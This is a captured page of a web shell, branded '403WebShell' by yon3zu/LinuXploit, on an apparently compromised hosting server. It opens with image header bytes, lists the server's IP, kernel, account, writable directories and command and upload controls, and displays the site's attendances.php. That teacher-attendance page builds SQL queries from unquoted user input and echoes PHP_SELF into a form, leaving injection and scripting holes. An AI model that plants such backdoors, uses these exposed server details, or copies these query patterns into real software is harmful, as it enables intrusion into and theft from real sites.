����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 18.118.252.215
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/gateman.skilltainment.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/gateman.skilltainment.org/attendances.php
<?php
include './head.php';
include './header.php';
include './sidebar.php';

function compareDay($id, $loop)
{
	global $conn;

	$run = mysqli_query($conn, "SELECT * FROM `attendance` WHERE `user_id`=$id") or die(mysqli_error($conn));
	while ($row = mysqli_fetch_array($run)) {
		$day = date('d', $row['date']);
		$month = date('n', $row['date']);

		if ($loop == $day && $month == date('n', time())) {
			return $row['in_time'];
		}
	}
	return false;
}

function getInTime($id)
{
	global $conn;

	$run = mysqli_query($conn, "SELECT * FROM `attendance` WHERE `user_id`=$id") or die(mysqli_error($conn));
	$row = mysqli_fetch_array($run);
	return $row['in_time'];
}

function countPunctual($id)
{
	global $conn;
	$punctual = 0;
	$notPunctual = 0;
	$run = mysqli_query($conn, "SELECT * FROM `attendance` WHERE `user_id`=$id") or die(mysqli_error($conn));

	while ($row = mysqli_fetch_array($run)) {
		$month = date('n', $row['date']);
		$hour = date('H', $row['in_time']);
		$minutes = date('i', $row['in_time']);

		if ($hour <= 7 && $minutes <= 30 && $month == date('n', time())) {
			++$punctual;
		} else if (($hour >= 7 || $minutes > 30) && $month == date('n', time())){
			++$notPunctual;
		}
	}
	return "$punctual/".($punctual + $notPunctual);
}
?>
<!--**********************************
            Content body start
        ***********************************-->
<div class="content-body">
	<!-- row -->
	<div class="page-titles">
		<ol class="breadcrumb">
			<li>
				<h5 class="bc-title">Attendance</h5>
			</li>
			<li class="breadcrumb-item"><a href="javascript:void(0)">
					<svg width="17" height="17" viewBox="0 0 17 17" fill="none" xmlns="http://www.w3.org/2000/svg">
						<path d="M2.125 6.375L8.5 1.41667L14.875 6.375V14.1667C14.875 14.5424 14.7257 14.9027 14.4601 15.1684C14.1944 15.4341 13.8341 15.5833 13.4583 15.5833H3.54167C3.16594 15.5833 2.80561 15.4341 2.53993 15.1684C2.27426 14.9027 2.125 14.5424 2.125 14.1667V6.375Z" stroke="#2C2C2C" stroke-linecap="round" stroke-linejoin="round" />
						<path d="M6.375 15.5833V8.5H10.625V15.5833" stroke="#2C2C2C" stroke-linecap="round" stroke-linejoin="round" />
					</svg>
					Home </a>
			</li>
			<li class="breadcrumb-item active"><a href="javascript:void(0)">Attendance</a></li>
		</ol>
	</div>
	<div class="container-fluid">
		<div class="row">
			<div class="col-xl-12">
				<div class="row">
					<div class="col-xl-12">
						<div class="card">
							<div class="card-body p-0">
								<div class="table-responsive active-projects style-1 attendance-tbl">
									<div class="tbl-caption">
										<h4 class="heading mb-0">Attendance</h4>
										<div>
											<!-- Button trigger modal -->
											<button type="button" class="btn btn-primary btn-sm" data-bs-toggle="modal" data-bs-target="#exampleModal">
												+ Mark Attendance
											</button>
										</div>
									</div>
									<table id="attendance-tbl" class="table">
										<thead>
											<tr>
												<th>Teacher Name</th>
												<?php
												$month = date('n');
												$year = date('Y');
												$total_days = cal_days_in_month(CAL_GREGORIAN, $month, $year);

												for ($i = 1; $i <= $total_days; $i++) {
													$day = date('D', strtotime($i . '-' . date('m-Y')));
												?>
													<th>
														<span><?php echo $i; ?></span>
														<p><?php echo $day; ?></p>
													</th>
												<?php
												}
												?>
												<th class="text-center">
													<span>Total</span>
												</th>
											</tr>
										</thead>
										<tbody>
											<?php
											$run = mysqli_query($conn, "SELECT * FROM `users` ORDER BY `firstname` ASC") or die(mysqli_error($conn));
											while ($row = mysqli_fetch_array($run)) {
												$user_id = $row['uid'];
											?>
												<tr>
													<td>
														<a href="attendance.php?id=<?php echo $user_id; ?>">
															<div class="products">
																<img src="./images/user.png" class="avatar avatar-md" alt="">
																<div>
																	<h6><?php echo $row['firstname'] . ' ' . $row['surname']; ?></h6>
																</div>
															</div>
														</a>
													</td>
													<?php
													for ($i = 1; $i <= $total_days; $i++) {
														if (compareDay($user_id, $i) != false) {
															$in_time = compareDay($user_id, $i);
															$hour = date('H', $in_time);
															$minutes = date('i', $in_time);
															if ($hour <= 7 && $minutes <= 30) {
															?>
																<td><span class="text-success"><i class="fa-solid fa-check"></i></span></td>
															<?php
															} else {
															?>
																<td><span class="text-danger"><i class="fa-regular fa-xmark"></i></span></td>
															<?php
															}
															?>
														<?php
														} else {
														?>
															<td><span class="text-primary"><i class="fa-solid fa-minus"></i></span></td>
													<?php
														}
													}
													?>
													<td><?php echo countPunctual($user_id); ?></td>
												</tr>
											<?php
											}
											?>
										</tbody>
									</table>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
</div>

<!--**********************************
            Content body end
        ***********************************-->

<?php
if (isset($_POST['submit'])) {
	$user_id = mysqli_real_escape_string($conn, htmlentities($_POST['teacher']));
	$action = mysqli_real_escape_string($conn, htmlentities($_POST['action']));
	$date = mysqli_real_escape_string($conn, strtotime($_POST['date']));
	$time = mysqli_real_escape_string($conn, strtotime($_POST['time']));

	// Check if the user has already clocked in for the day
	$run = mysqli_query($conn, "SELECT * FROM `attendance` WHERE `user_id`=$user_id AND `date`='$date'") or die(mysqli_error($conn));
	$count = mysqli_num_rows($run);

	// Check if the user is clocking in
	if ($count == 0) {
		if ($action == 'clock_in') {
			// Insert the clock-in time into the database
			$sql = "INSERT INTO `attendance` (`user_id`, `date`, `in_time`, `out_time`) VALUES($user_id,'$date', '$time', '-')";

			// Check for successful execution of the query
			if (mysqli_query($conn, $sql)) {
?>
				<script type="text/javascript">
					document.addEventListener("DOMContentLoaded", function(event) {
						swal("", "Teacher was successfully clocked in", "success");
						setTimeout(function() {
							window.location = 'attendances.php'
						}, 1500);
					});
				</script>
			<?php
			} else {
				echo mysqli_error($conn);
			}
		} else {
			?>
			<script type="text/javascript">
				swal("", "You must clock in first", "warning");
			</script>
			<?php
		}
	} else {
		if ($action == 'clock_out') {

			// Update the clock-out time in the database
			$sql = "UPDATE `attendance` SET `out_time`='$time' WHERE `user_id`=$user_id AND `date`='$date'";

			// Check for successful execution of the query
			if (mysqli_query($conn, $sql)) {
			?>
				<script type="text/javascript">
					document.addEventListener("DOMContentLoaded", function(event) {
						swal("", "Teacher was successfully clocked Out", "success");
						setTimeout(function() {
							window.location = 'attendances.php'
						}, 1500);
					});
				</script>
			<?php
			} else {
				echo mysqli_error($conn);
			}
		} else {
			?>
			<script type="text/javascript">
				swal("", "You have already clocked in", "warning");
			</script>
<?php
		}
	}
}
?>
<!-- Modal-start -->
<div class="modal fade" id="exampleModal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
	<div class="modal-dialog modal-dialog-center">
		<div class="modal-content">
			<div class="modal-header">
				<h1 class="modal-title fs-5" id="exampleModalLabel">Add Attendance</h1>
				<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
			</div>
			<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
				<div class="modal-body">
					<div class="row">
						<div class="col-xl-12">
							<label class="form-label">Teacher<span class="text-danger">*</span></label>
							<select class="default-select form-control" name="teacher" required>
								<option disabled selected value="">Please select</option>
								<?php
								$run = mysqli_query($conn, "SELECT * FROM `users` ORDER BY `firstname` ASC") or die(mysqli_error($conn));
								while ($row = mysqli_fetch_array($run)) {
								?>
									<option value="<?php echo $row['uid']; ?>"><?php echo $row['firstname'] . ' ' . $row['surname']; ?></option>
								<?php
								}
								?>

							</select>
							<label class="form-label mt-3">Action<span class="text-danger">*</span></label>
							<select class="default-select form-control" name="action" required>
								<option disabled selected value="">Please select</option>
								<option value="clock_in">Clock In</option>
								<option value="clock_out">Clock Out</option>
							</select>
							<label class="form-label mt-3">Attendance Date<span class="text-danger">*</span></label>
							<input class="form-control" type="date" name="date" required>
							<div class="row">
								<div class="col-xl-12">
									<label class="form-label mt-3">Time<span class="text-danger">*</span></label>
									<div class="input-group clockpicker">
										<input type="time" class="form-control" name="time" required><span class="input-group-text"><i class="fas fa-clock"></i></span>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
				<div class="modal-footer">
					<button type="button" class="btn btn-danger light" data-bs-dismiss="modal">Close</button>
					<button class="btn btn-primary" type="submit" name="submit">Save changes</button>
				</div>
			</form>
		</div>
	</div>
</div>

<?php
include './footer.php';
include './scripts.php';
?>
<script>
	document.querySelector('title').innerHTML="Gateman ~ Attendances";
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit